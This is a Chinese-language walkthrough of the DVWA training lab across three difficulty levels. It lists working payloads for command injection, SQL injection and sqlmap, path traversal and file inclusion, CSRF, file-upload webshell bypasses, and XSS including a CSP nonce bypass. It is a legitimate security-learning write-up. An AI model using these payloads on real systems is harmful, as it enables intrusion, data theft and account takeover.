DVWA靶机
1. 简单
暴力破解
- 抓包,暴力破解
发现一个账户:pablo,密码:letmein
命令注入
- 输入ip会查看ping值
输入
1;ls /
可以查看根目录下的文件CSRF
- 获得修改密码的url
http://dvwa.com/vulnerabilities/csrf/?password_new=xdym&password_conf=xdym&Change=Change#
修改password和password_conf字段的值,如果已经登录,访问该网址就会修改密码成功
文件包含
- 发现url中包含了文件名,随意输入一个不存在的文件名,然后会报错出现绝对路径
- 根据绝对路径构造url访问主机中的文件
http://dvwa.com/vulnerabilities/fi/?page=../../../../../home/www/1.txt
即可访问该目录下的文件文件上传
- 直接上传phpinfo.php,根据返回的提示直接输入网址,打开显示phpinfo
也可以使用一句话
Insecure CATCHA
需要使用Google验证码,无法测试
SQL注入
- 输入
1'
报错 - 输入
1'#
正常显示,是单引号注入 - 输入
1'order by 1#
显示正常,输入到3时,报错 输入
1'union select 1,2#
确定显示位置,输入1'union select 1,group_concat(database())#
显示dvwaSQL盲注
- 使用sqlmap盲注
python sqlmap.py -r 1.txt -dbs
检测出所有数据库弱会话ID1
- 点击
Generate
按钮,抓包显示cookie中会包含一个dvwaSession的字段,这个字段随着点一次按钮,该session自增加1 该版本的cookie存放有问题,退出登录后会默认
XSS(DOM)
GET方式提交数据,所以直接在url中插入xss代码
<script>alert(1)</script>
即可XSS(Reflected)
在对话框中输入
<script>alert(1)</script>
弹窗成功XSS(Stored)
- 在name处插入XSS,发现限制字符数
在message处插入XSS
<script>alert(1)</script>
提交后弹窗CSP Bypass
JavaScript
- 输入success,显示错误的token
- 查看源码
因为打开网页上输入的是ChangeMe,所以在源码中对ChangeMe进行了md5处理,于是应该先输入success,然后再执行script中的generate_token()函数,会得到正确的token
2. 中等
暴力破解
- 输入用户名、密码,然后抓包登录
将包发送到Intruder,然后对password直接爆破即可
命令注入
- 查看源码,发现过滤了
;
和&&
,但是还可以使用||
和&
输入
1& /.
即可查看根目录CSRF
- 抓修改密码的包
- 将包发送到Repeater,修改密码,发送,修改密码成功
或者伪造一个提交页面,然后再通过抓包修改referer即可
文件包含
- 根据源码看到使用了
str_replace
函数,该函数将匹配到的字符串进行替换,所以可以使用双写绕过 输入url
http://dvwa.com/vulnerabilities/fi/?page=hthttp://tp://xdym11235.com
包含成功文件上传
- 无法直接上传php文件
- 上传php文件后修改Content-Type字段为
image/jpeg
打开上传的文件,即可查看phpinfo
Insecure CAPTCHA
需要使用Google验证码,无法测试
SQL注入
- 提交ID后抓包
- 修改POST包中的id字段为
id=3 and 1=1#
正常显示 - 修改POST包中的id字段为
id=3 and 1=2#
显示错误,数字型注入 输入
id=3 union select 1,database()
查看数据库SQL注入盲注
使用sqlmap直接注入即可
弱会话ID
- 获取ID
ID是以Unix时间生成,所以可以伪造
XSS(DOM)
- 尝试简单的payload
<script>alert(1)</script>
不行 - 查看源码,发现过滤
<script>
- 使用
<img src=# onerror=alert(1)>
无果,检查元素,发现<img>
标签被包裹在<select>
和<option>
中,所以无法执行 闭合
<select>
和<option>
标签后再输入"></option></select><img src=# onerror=alert(1)>
即可XSS(Reflected)
- 输入
<script>alert(1)</script>
发现过滤<script>
标签 尝试
</pre></div><img src=# onerror=alert(1)>
成功XSS(Stored)
- 姓名那里限制输入字符所以在留言板输入
<script>alert(1)</script>
发现过滤<script>
输入
<img src=# onerror=alert(1)>
即可弹窗CSP Bypass
- 任意输入后抓取返回包,发现Content-Security字段
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';
输入
<script nonce='TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='>alert(1)</script>
即可JavaScript
- 输入success
- 在控制台中输入
do_elsesomething("XX")
3. 高等
暴力破解
- 提交用户名密码并抓包,发现会同时提交用户token
- 使用burp的暴力破解模块的pitchfork模式
返回的网页中包含用户token,所以可以使用正则表达式标注token后进行暴力破解
命令注入
- 查看源码,发现有个过滤是
|
- 不加空格即可
payload
1|ls
CSRF
有token,无法绕过
文件包含
- 要求必须使用file开头的文件
- 使用文件协议打开文件即可
payload
file:////www/wwwroot/dvwa.com/.user.ini
文件上传
- 上传图片马
利用文件包含将图片马解析为php
Insecure CAPTCHA
需要使用Google验证码,无法测试
SQL注入
输入
1'union select 1,2#
注入成功SQL盲注
弱会话ID
- 点击生成会话ID
- 根据ID的位数猜想为md5
对ID进行md5解密即可
XSS(DOM)
- 浏览器特性2
在
default
字段后输入#再输入XSSXSS(Reflected)
- 输入
<script>alert(1)</script>
过滤了<script>
的通配符 - 尝试无害的
<img>
命令 payload为
<img src=# onerror=alert(1)>
XSS(Stored)
- Message输入框过滤
- Name输入框有限制,所以需要抓包修改Name输入框
payload为
<img src=# onerror=alert(1)>
CSP Bypass
JavaScript
- 在对话框中输入success
- 在控制台中输入
token_part_1("ABCD", 44)
- 在控制台中输入
token_part_2("XX")
- 提交即可
《DVWA靶机》链接:https://xdym11235.com/archives/23.html
具体版权规定详见侧栏版权说明页面